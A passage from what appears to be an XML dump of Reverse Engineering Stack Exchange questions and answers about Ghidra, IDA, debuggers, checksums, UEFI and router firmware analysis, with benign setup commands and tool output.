image.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Oze8s.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oze8s.png&quot; alt=&quot;Create a new segment&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;At the beginning of the new segment, use &lt;code&gt;Edit-&amp;gt;Struct var&lt;/code&gt;, and select &lt;code&gt;KUSER_SHARED_DATA&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kRCjQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kRCjQ.png&quot; alt=&quot;Choose a structure type&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That's it. Now the disassembly listing looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/34cSb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/34cSb.png&quot; alt=&quot;Disassembly&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;And the decompilation looks like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EaRBd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EaRBd.png&quot; alt=&quot;Decompilation&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-10-23T04:58:04.170" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26161" PostTypeId="2" ParentId="26151" CreationDate="2020-10-23T08:31:31.100" Score="1" Body="&lt;p&gt;I don't use Eclipse for Ghidra myself, but as far as I just checked it should also support this. I can confirm that this approach (remote debugging plus Python stubs) works well with PyCharm.&lt;/p&gt;&#xA;&lt;h3&gt;Remote Debugging with pydevd&lt;/h3&gt;&#xA;&lt;p&gt;The basic idea is to use remote debugging with &lt;code&gt;pydevd&lt;/code&gt; or similar. &lt;a href=&quot;https://stackoverflow.com/a/41492711/13220684&quot;&gt;https://stackoverflow.com/a/41492711/13220684&lt;/a&gt; explains the basic usage.&lt;/p&gt;&#xA;&lt;p&gt;The issue with this is that you will have to install &lt;code&gt;pydevd&lt;/code&gt; inside the Ghidra Jython environment. The following is adapted from &lt;a href=&quot;https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator#python-packages&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Create a virtualenv for Ghidra packages.&#xA;# It is important to use Python2.7 for this venv!&#xA;# If you want, you can skip this step and use your default Python installation.&#xA;mkvirtualenv ghidra&#xA; &#xA;# Create Jython's site-pacakges directory.&#xA;jython_site_packages=&amp;quot;~/.local/lib/jython2.7/site-packages&amp;quot;&#xA;mkdir -p $jython_site_packages&#xA; &#xA;# Create a PTH file to point Jython to Python's site-packages directories.&#xA;# Again, this has to be Python2.7.&#xA;&#xA;# Outside a virtualenv, use&#xA;python -c &amp;quot;import site; print(site.getusersitepackages()); print(site.getsitepackages()[-1])&amp;quot; &amp;gt; $jython_site_packages/python.pth&#xA;&#xA;# If using virtualenv, use the following instead&#xA;python -c &amp;quot;from distutils.sysconfig import get_python_lib; print(get_python_lib())&amp;quot; &amp;gt; $jython_site_packages/python.pth&#xA;&#xA; &#xA;# Use pip to install packages for Ghidra&#xA;pip install pydevd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It should now be possible to &lt;code&gt;import pydevd&lt;/code&gt; inside a Ghidra Python script (or even the integrated REPL).&lt;/p&gt;&#xA;&lt;p&gt;I don't remember if the GhidraDev plugin for eclipse provides tab completion for the &lt;code&gt;ghidra&lt;/code&gt; module inside Python scripts, but this setup is generic enough that you are not required to use Eclipse anymore if you prefer another IDE for Python.&lt;/p&gt;&#xA;&lt;p&gt;The IDE only needs to support remote debugging via &lt;code&gt;pydevd&lt;/code&gt;. I also strongly recommend using &lt;a href=&quot;https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/VDOO-Connected-Trust/ghidra-pyi-generator&lt;/a&gt; if you are using another IDE to provide the type information, method signatures and docstrings of the Ghidra API to the IDE.&lt;/p&gt;&#xA;&lt;h3&gt;Another Workaround&lt;/h3&gt;&#xA;&lt;p&gt;Personally I use mostly &lt;a href=&quot;https://github.com/justfoxing/ghidra_bridge&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ghidra_bridge&lt;/code&gt;&lt;/a&gt; and the previously mentioned type stubs for Python with Ghidra. Because &lt;code&gt;ghidra_bridge&lt;/code&gt; is a full RPC interface, you can write a Python 3 script with full IDE support and run it via the IDE. &lt;code&gt;ghidra_bridge&lt;/code&gt; then handles the connection to the Ghidra Python environment and proxies all the relevant objects. With the type stubs the IDE just treats the script as generic Python script and the &lt;code&gt;ghidra&lt;/code&gt; module like any Python 3 module.&lt;/p&gt;&#xA;" OwnerUserId="31435" LastEditorUserId="31435" LastEditDate="2020-10-23T08:38:39.650" LastActivityDate="2020-10-23T08:38:39.650" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26164" PostTypeId="2" ParentId="26157" CreationDate="2020-10-23T21:06:02.900" Score="3" Body="&lt;p&gt;ghidra&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;addr = toAddr(0x7ffe0000)&#xA;currentProgram.memory.createUninitializedBlock(&amp;quot;KUSER_SHARED_PAGE&amp;quot;,addr,0x1000,0)&#xA;createData(addr,getDataTypes(&amp;quot;KUSER_SHARED_DATA&amp;quot;)[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;undefined8 main(void)&#xA;&#xA;{&#xA;  wprintf((__crt_locale_pointers *)L&amp;quot;Version: %lu.%lu.%lu\n&amp;quot;,&#xA;          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMajorVersion,&#xA;          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtMinorVersion,&#xA;          (ulonglong)KUSER_SHARED_DATA_7ffe0000.NtBuildNumber);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 1)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use VirtualQuery to get the size&lt;br /&gt;&#xA;shown below is a python poc&#xA;compare the result to (MEMORY_BASIC_INFO *)foo.RegionSize&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat vq.py&#xA;from ctypes import *&#xA;meminfo =(c_ulong * 0x8)()&#xA;windll.kernel32.VirtualQuery(0x7ffe0000,byref(meminfo),sizeof(meminfo))&#xA;for i in meminfo:&#xA;    print (hex(i))&#xA;&#xA;&#xA;:\&amp;gt;python vq.py&#xA;0x7ffe0000&#xA;0x7ffe0000&#xA;0x2&#xA;0x1000&#xA;0x1000&#xA;0x2&#xA;0x20000&#xA;0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 2)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;use windbg !vprot to get the same&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &amp;quot;!vprot 7ffe0000;q&amp;quot; cdb | awk &amp;quot;/Reading/,/quit/&amp;quot;&#xA;0:000&amp;gt; cdb: Reading initial command '!vprot 7ffe0000;q'&#xA;BaseAddress:       7ffe0000&#xA;AllocationBase:    7ffe0000&#xA;AllocationProtect: 00000002  PAGE_READONLY&#xA;RegionSize:        00001000&#xA;State:             00001000  MEM_COMMIT&#xA;Protect:           00000002  PAGE_READONLY&#xA;Type:              00020000  MEM_PRIVATE&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Method 3)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;use windbg !address to Get a more Verbose Details of the same Address Space&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cdb -c &amp;quot;!address 7ffe0000;q&amp;quot; cdb | awk &amp;quot;/Usage:/,/quit/&amp;quot;&#xA;Usage:                  Other&#xA;Base Address:           7ffe0000&#xA;End Address:            7ffe1000&#xA;Region Size:            00001000 (   4.000 kB)&#xA;State:                  00001000          MEM_COMMIT&#xA;Protect:                00000002          PAGE_READONLY&#xA;Type:                   00020000          MEM_PRIVATE&#xA;Allocation Base:        7ffe0000&#xA;Allocation Protect:     00000002          PAGE_READONLY&#xA;Additional info:        User Shared Data&#xA;&#xA;&#xA;Content source: 1 (target), length: 1000&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2020-10-24T06:19:29.693" LastActivityDate="2020-10-24T06:19:29.693" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26166" PostTypeId="1" AcceptedAnswerId="26170" CreationDate="2020-10-24T03:06:22.003" Score="0" ViewCount="86" Body="&lt;p&gt;I am translating some assembly code into C, and I need some help with a part of it:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    .equ UBRR_val = 12 ;UBRR sets baud, 12 = 19200baud at 4 MHz&#xA;    .def char = r17 ; Register to hold a character&#xA;&#xA;    .org 0x00 ; Execute this when reset button is pushed&#xA;    rjmp start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;So I have translated it as follows:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;    #define UBRR_val ((4UL/19200)-1) &#xA;    #define char* = 17; &#xA;&#xA;    .org 0x00 ; Execute this when reset button is pushed&#xA;    rjmp start&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;But I can't figure out &lt;code&gt;.org 0x00;&lt;/code&gt;&#xA;I think the &lt;code&gt;rjmp start&lt;/code&gt; directs to the main so no changes are needed&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Anyone that can help with it?&lt;/p&gt;&#xA;" OwnerUserId="34760" LastActivityDate="2020-10-24T18:20:48.433" Title="I am translating some assembly code into C" Tags="|assembly|atmel|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26167" PostTypeId="1" AcceptedAnswerId="26169" CreationDate="2020-10-24T09:45:15.447" Score="0" ViewCount="275" Body="&lt;p&gt;I don't know why but I noticed, on some program I am reversing, that in a section named &lt;code&gt;.bss&lt;/code&gt;, there functions and I can't find them through the regular search, why is that.&lt;/p&gt;&#xA;&lt;p&gt;For example, I wanted to search for &lt;code&gt;_mainScene&lt;/code&gt; but it found me only one functioned named &lt;code&gt;newMainScene&lt;/code&gt;:&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jOPa3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jOPa3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br /&gt;&#xA;A friend show me that I can search with &lt;code&gt;Shift+4&lt;/code&gt; in IDA for the names in &lt;code&gt;.bss&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="18080" LastEditDate="2020-10-25T09:04:42.877" LastActivityDate="2020-10-25T09:04:42.877" Title="Why some functions in IDA can't be searched" Tags="|ida|functions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26169" PostTypeId="2" ParentId="26167" CreationDate="2020-10-24T17:37:23.753" Score="2" Body="&lt;p&gt;You are not looking at functions that you can't reach, but at unassigned variables.&lt;/p&gt;&#xA;&lt;p&gt;As you said, you are looking at the .bss section. From Wikipedia, the .bss section is&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;the portion of an object file, executable, or assembly language code that contains statically-allocated variables that are declared but have not been assigned a value yet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;IDA is showing you this with the &lt;code&gt;dd&lt;/code&gt; opcode. As @blabb point out, this is an &lt;code&gt;uninitialized dword&lt;/code&gt;, which mean a dword that was not assigned yet. Exactly what is supposed to be in the .bss section !&lt;/p&gt;&#xA;&lt;p&gt;Theses variables don't have any hardcoded default values, so they are placed in this section of the binary, waiting to be populated at runtime with dynamic values.&lt;/p&gt;&#xA;&lt;p&gt;What you can do is to write down the address of the variable that you want to find more about, open up a debugger, let it run a bit (or you can break on a specific function if you know where this variable is being populated), and check the content of this variable by looking at the previously written memory address.&lt;/p&gt;&#xA;&lt;p&gt;You'll know what type of data is supposed to be inside this variable !&lt;/p&gt;&#xA;&lt;p&gt;Don't forget to deactivate the ASLR while running the binary (otherwise the address that you saw in IDA would not match naything), or if needed, to rebase your program in IDA.&lt;/p&gt;&#xA;" OwnerUserId="29213" LastActivityDate="2020-10-24T17:37:23.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26170" PostTypeId="2" ParentId="26166" CreationDate="2020-10-24T18:20:48.433" Score="1" Body="&lt;p&gt;The .org-directive set's the location counter, so essentially what they do here is telling the assembler that this code should be placed at 0x00 of the current section, which happens to be global 0x00 aswell and that address seems to be executed on reset on this particular CPU with this particular configuration.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-10-24T18:20:48.433" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26171" PostTypeId="1" CreationDate="2020-10-24T18:47:07.167" Score="1" ViewCount="187" Body="&lt;p&gt;I am trying to caclulate a checksum algorithm. D0 is CRC, D1 to D2 is data. Maybe someone can help me with algorithm for checksum calculation?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;D0  D1  D2  D3&#xA;68  00  01  00&#xA;74  00  03  00&#xA;DD  01  01  00&#xA;C1  01  03  00&#xA;2D  02  01  00&#xA;31  02  03  00&#xA;98  03  01  00&#xA;84  03  03  00&#xA;E2  04  01  00&#xA;FE  04  03  00&#xA;57  05  01  00&#xA;4B  05  03  00&#xA;A7  06  01  00&#xA;BB  06  03  00&#xA;12  07  01  00&#xA;0E  07  03  00&#xA;53  08  01  00&#xA;4F  08  03  00&#xA;E6  09  01  00&#xA;FA  09  03  00&#xA;16  0A  01  00&#xA;0A  0A  03  00&#xA;A3  0B  01  00&#xA;BF  0B  03  00&#xA;D9  0C  01  00&#xA;C5  0C  03  00&#xA;6C  0D  01  00&#xA;70  0D  03  00&#xA;9C  0E  01  00&#xA;80  0E  03  00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34767" LastActivityDate="2020-11-23T01:23:45.917" Title="CAN checksum algorithm" Tags="|crc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26175" PostTypeId="1" AcceptedAnswerId="26177" CreationDate="2020-10-25T15:36:34.990" Score="0" ViewCount="140" Body="&lt;p&gt;I think I have a massive understanding problem with the following issue:&lt;/p&gt;&#xA;&lt;p&gt;Usually the loader will fix the Import Table for the modules that have been loaded, right, so if I set a breakpoint on CreateFileW the debugger can just follow the Import Table address and do so.&lt;/p&gt;&#xA;&lt;p&gt;However, I've been watching some tutorials lately and often they set breakpoints on e.g. CreateFileW for modules that have been loaded dynamically e.g. LoadLibaryA (while themself are at the entry point of the program).&lt;/p&gt;&#xA;&lt;p&gt;I'm unable to understand how the debugger can set a breakpoint for a module that yet has not been loaded into the memory?&lt;/p&gt;&#xA;" OwnerUserId="34777" LastActivityDate="2020-10-25T18:16:25.650" Title="How can a debugger break on dynamic loaded libraries?" Tags="|c++|memory|winapi|virtual-memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26177" PostTypeId="2" ParentId="26175" CreationDate="2020-10-25T18:16:25.650" Score="0" Body="&lt;p&gt;The debugging API provides a notification for newly loaded libraries so the debugger can inspect their export table and set breakpoints on matching symbols.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-25T18:16:25.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26178" PostTypeId="1" CreationDate="2020-10-26T04:14:32.217" Score="1" ViewCount="152" Body="&lt;p&gt;I'm reversing a windows x86 binary that I can't figure out how the program is getting the keyboard input.&lt;/p&gt;&#xA;&lt;p&gt;I've searched for the windows api functions I was used to but the program doesn't call them.&lt;/p&gt;&#xA;&lt;p&gt;So... Is there a function that every different method to get the keyboard input calls? If not, what should I do in order to discover how a given program gets the keyboard input?&lt;/p&gt;&#xA;" OwnerUserId="21752" LastActivityDate="2020-10-26T04:14:32.217" Title="How to discover how a program gets keyboard input?" Tags="|windows|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26180" PostTypeId="1" AcceptedAnswerId="26183" CreationDate="2020-10-26T13:33:52.540" Score="0" ViewCount="186" Body="&lt;p&gt;I'm reversing some windows drivers, and IDA never converts numbers to their corresponding major function name like IRP_MJ_CREATE = 0x00, how can i force this? is there anyway i can convert a number to major function name?&lt;/p&gt;&#xA;&lt;p&gt;ALSO : why doesn't IDA convert it itself? for the first parameter of IoBuildSynchronousFsdRequest is always a major function number, why can't ida just name its MAJOR function name instead of giving me its number?&lt;/p&gt;&#xA;" OwnerUserId="30154" LastActivityDate="2020-10-27T06:06:03.380" Title="How to resolve major function numbers to their name while reversing windows drivers?" Tags="|ida|windows|driver|kernel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26181" PostTypeId="1" CreationDate="2020-10-26T14:44:27.197" Score="1" ViewCount="456" Body="&lt;p&gt;I came into a problem, where I am unable to use a hardware due to a firmware incompatibility. As I have multiple sources and proofs that the hardware is indeed supported on the hardware level, and it is only a software incompatibility, and I gave up all hope on getting help in other forums, I came to the conclusion I have to reverse engineer myself the code and find the if statement that fucks with me. (Edit : It is an NVME disk in an AHCI slot that I am able to access if that is not the boot disk. There is a dxe module that allows it to be bootable, however I have a very strong feeling that there is an if statement that defacto denies it to be booted from nvme for planned obsolescence)&lt;/p&gt;&#xA;&lt;p&gt;I have an UEFI file that I managed to get with an SPI programmer from the motherboards MX25l12873F chip, and thats where my knowledge stops.&lt;/p&gt;&#xA;&lt;p&gt;I know that I am looking for a display output of &amp;quot;2103: Detection error on SSD0 (M.2)&amp;quot; and all information related to NVME.&lt;/p&gt;&#xA;&lt;p&gt;UEFITool 0.25 is able to find 8 instances of nvme and 1 instance of Detection error in separate dxe modules.&lt;/p&gt;&#xA;&lt;p&gt;However I feel like I am going so deep that there is no forum specific for my kind of project, and I ran into a few problems: I don't know which disassembler, reverse engineer tool to use, and how to use them. I was trying to go with IDA, but when I searched for nvme, I could find nothing. Another post here mentioned that GHidra is better for these kinds of tasks, but I could not figure out how to correctly load the raw binary. This whole environment is new to me, but what should I do to correctly load in the whole image so I could just go and backtrack from the errors or get a control flow graph that I can follow around and maybe modify that if statement?&lt;/p&gt;&#xA;" OwnerUserId="34785" LastEditorUserId="34785" LastEditDate="2020-10-26T14:49:29.067" LastActivityDate="2020-10-26T14:49:29.067" Title="In which program do I reverse engineer UEFI firmwares" Tags="|ida|ghidra|control-flow-graph|uefi|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26182" PostTypeId="2" ParentId="6440" CreationDate="2020-10-27T01:01:12.803" Score="0" Body="&lt;p&gt;I believe the name is represented in something called the Soundex Code: the numbers represent the sounds of the last &amp;amp; first name. I can't quickly find the article I read breaking down the code for NJ licenses, but here is a general entry:&#xA;&lt;a href=&quot;https://www.tutorialgateway.org/sql-soundex-function/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tutorialgateway.org/sql-soundex-function/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34787" LastActivityDate="2020-10-27T01:01:12.803" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26183" PostTypeId="2" ParentId="26180" CreationDate="2020-10-27T06:06:03.380" Score="0" Body="&lt;p&gt;Press &lt;code&gt;M&lt;/code&gt; with your cursor over a symbolic constant; IDA/Hex-Rays will bring up the enum chooser window. From there, type &lt;code&gt;IRP_MJ_&lt;/code&gt;, and the chooser window should jump to the proper enumeration element.&lt;/p&gt;&#xA;&lt;p&gt;To have Hex-Rays automatically display function arguments as symbolic constants, change the type of the argument to e.g. &lt;code&gt;MACRO_IRP_MJ&lt;/code&gt;, or whatever the name of the enumeration is.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2020-10-27T06:06:03.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26184" PostTypeId="1" AcceptedAnswerId="26186" CreationDate="2020-10-27T10:27:21.053" Score="0" ViewCount="1539" Body="&lt;p&gt;I am trying to analyze and disassemble a raw binary that does not have an ELF header using IDA Pro.&lt;/p&gt;&#xA;&lt;p&gt;I have been trying to convert to code using MakeCode, but have not gotten anywhere as the binary is quite large.&lt;/p&gt;&#xA;&lt;p&gt;I know it is supposed to be a 32 bit LSB binary, and Ghidra decompiles the same raw binary without any problems. However, I do prefer the IDA decompiler to Ghidra which is why I am trying to make it work in IDA as well.&lt;/p&gt;&#xA;&lt;p&gt;The main problem is that the list of functions is missing (due to missing headers of course), but this does not seem to be a problem for Ghidra.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to get the same result in IDA as I get in Ghidra? If so, how? What is the correct way to analyze raw binaries in IDA Pro / Hex-Rays?&lt;/p&gt;&#xA;" OwnerUserId="31254" LastActivityDate="2020-10-27T11:42:14.773" Title="Analyzing raw binary without ELF header in IDA Pro" Tags="|ida|ghidra|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26185" PostTypeId="2" ParentId="26147" CreationDate="2020-10-27T10:39:22.150" Score="1" Body="&lt;p&gt;Debugger &amp;gt; Debugger Options..., &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1414.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Edit Exceptions&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-10-27T10:39:22.150" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26186" PostTypeId="2" ParentId="26184" CreationDate="2020-10-27T11:42:14.773" Score="0" Body="&lt;p&gt;Yes, it's possible.&lt;/p&gt;&#xA;&lt;p&gt;In order to do that you should choose on the landing page the correct architecture:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xpRCp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xpRCp.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The file will open without any functions, in it's raw form.&lt;/p&gt;&#xA;&lt;p&gt;Then go to the beginning of the file, press the left mouse button, hold &lt;code&gt;shift&lt;/code&gt; key, and scroll to the bottom of the file.&lt;/p&gt;&#xA;&lt;p&gt;When all the disassembly is selected press &lt;code&gt;c&lt;/code&gt; button and choose analyze/force on the pop-up. That should do the trick.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-10-27T11:42:14.773" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26187" PostTypeId="1" CreationDate="2020-10-27T18:47:16.650" Score="2" ViewCount="184" Body="&lt;p&gt;I have under my disposal some Ford EECV bin files and my goal for the next few weeks is to retrieve the functions and tables, and plot them out before going onto DIY hardware.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know which platforms to use to analyze Ford/Intel 8061/8065 bin files, or possibly disassemble them? I checked into the bin files today using Notepad++ hex editor plugin, and didn't get many strings except for 'Ford copyright 2002', but I do see some hex patterns floating around…  Thus, would I find a disassembling platform, or hack it with the 8061 manual?&lt;/p&gt;&#xA;&lt;p&gt;Also, pardon my ignorance, but how do you regulars retrieve bin files? I know you can stick the ROM into the ROM reader, but intuitively I feel that people also get bin files from the OBD port upon KOEO and get the 'ROM dump' from the RAM in the ECU. Is that the 'frontdoor' way of getting live data?&lt;/p&gt;&#xA;&lt;p&gt;P.S.: Excuse me for my use of semantics.&lt;/p&gt;&#xA;" OwnerUserId="34788" LastEditorUserId="37138" LastEditDate="2021-07-09T20:34:22.250" LastActivityDate="2021-07-09T20:34:22.250" Title="Advice for retrieving functions and tables from Intel 8061/8065 bin file (reverse engineering) from Ford EECV ECU" Tags="|binary-analysis|firmware|binary|binary-format|ecu|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26188" PostTypeId="1" CreationDate="2020-10-28T07:34:32.833" Score="0" ViewCount="252" Body="&lt;p&gt;While debugging some 32-bit file with x32dbg, some of the text appear in Chinese and I don't why.&lt;br /&gt;&#xA;This happened after I moved to a new computer but both of them were Windows 10.&lt;br /&gt;&#xA;In my old computer I didn't have this issue with the same file.&lt;br /&gt;&#xA;Any idea how to fix it?&lt;br /&gt;&#xA;I am working on the latest version Oct 2 2020.&lt;br /&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2Hpfn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Hpfn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-10-28T07:34:32.833" Title="x64dbg show some text in Chinese" Tags="|debuggers|x64dbg|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26190" PostTypeId="1" CreationDate="2020-10-28T19:12:58.423" Score="1" ViewCount="412" Body="&lt;p&gt;Following &lt;a href=&quot;https://stackoverflow.com/q/64525583/4999991&quot;&gt;this question&lt;/a&gt;, I'm trying to figure out how &lt;code&gt;cscript.exe&lt;/code&gt; parses the &lt;code&gt;.wsh&lt;/code&gt; Windows Script Host control files. First I &lt;a href=&quot;https://stackoverflow.com/q/64561883/4999991&quot;&gt;tried WinDbg&lt;/a&gt;, but Radare2-Cutter seems like a much nicer software TBH. What I did:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Opened the &lt;code&gt;C:\Windows\System32\cscript.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Imported the previously downloaded official Microsoft symbols &lt;code&gt;File &amp;gt; Import PDB &amp;gt; cscript.pdb&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;View &amp;gt; Refresh Contents&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;However, the Graph tab shows empty:&lt;/p&gt;&#xA;&lt;pre&gt;&#xA;        &lt;img src=&quot;https://i.stack.imgur.com/RSvuP.png&quot; width=&quot;300&quot;&gt;               &#xA;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Graph (Empty) &lt;br/&gt; No function detected. Cannot display graph.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I would appreciate it if you could help me know what is the problem and how I can solve it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt; Any other help towards solving the original problem is also highly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="24943" LastEditorUserId="24943" LastEditDate="2020-10-28T19:33:30.300" LastActivityDate="2020-10-28T23:14:34.157" Title="The Graph view in Cutter is empty" Tags="|radare2|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26192" PostTypeId="1" CreationDate="2020-10-28T20:11:18.143" Score="0" ViewCount="1430" Body="&lt;p&gt;hello i want to do the reverse engineering. for tp linkTD-W8961ND_V3 firmware&#xA;here is the output&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;61191         0xEF07          ZyXEL rom-0 configuration block, name: &amp;quot;dbgarea&amp;quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;61440         0xF000          ZyXEL rom-0 configuration block, name: &amp;quot;dbgarea&amp;quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;85043         0x14C33         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 66696 bytes&#xA;118036        0x1CD14         Unix path: /usr/share/tabset/vt100:\&#xA;118804        0x1D014         ZyXEL rom-0 configuration block, name: &amp;quot;spt.dat&amp;quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;118824        0x1D028         ZyXEL rom-0 configuration block, name: &amp;quot;autoexec.net&amp;quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;128002        0x1F402         GIF image data, version &amp;quot;89a&amp;quot;, 200 x 50&#xA;136194        0x21402         GIF image data, version &amp;quot;89a&amp;quot;, 560 x 50&#xA;252286        0x3D97E         Neighborly text, &amp;quot;neighbor of your ADSL Router that will forward the packet to 